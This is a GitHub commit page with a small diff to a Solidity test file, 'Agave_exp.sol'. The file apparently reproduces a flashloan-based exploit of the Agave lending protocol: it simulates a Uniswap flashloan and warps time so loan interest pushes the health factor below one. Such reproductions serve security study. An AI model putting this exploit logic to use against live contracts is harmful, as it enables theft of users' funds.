Skip to content

Commit

Permalink
fix: small compile error on local tests
Browse files Browse the repository at this point in the history
  • Loading branch information
akshaynexus committed Mar 23, 2024
1 parent 4772c3a commit 5b54cfd
Showing 1 changed file with 3 additions and 3 deletions.
6 changes: 3 additions & 3 deletions src/test/Agave_exp.sol
Original file line number Diff line number Diff line change
Expand Up @@ -153,15 +153,15 @@ contract AgaveExploit is Test {
}

function _flashWETH() internal {
uniswapV2Call(address(this), ethFlashloanAmt, 0, new bytes(0));
uniswapV2Call(address(this), ethFlashloanAmt, 0, abi.encode(msg.sender));
}

function uniswapV2Call(address _sender, uint256 _amount0, uint256 _amount1, bytes calldata _data) public {
function uniswapV2Call(address _sender, uint256 _amount0, uint256 _amount1, bytes memory _data) public {
//We simulate a flashloan from uniswap for initial eth funding
_attackLogic(_amount0, _amount1, _data);
}

function _attackLogic(uint256 _amount0, uint256 _amount1, bytes calldata _data) internal {
function _attackLogic(uint256 _amount0, uint256 _amount1, bytes memory _data) internal {
//This will fast forward block number and timestamp to cause hf to be lower due to interest on loan pushing hf below one
vm.warp(block.timestamp + 1 hours);
vm.roll(block.number + 1);
Expand Down

0 comments on commit 5b54cfd

Please sign in to comment.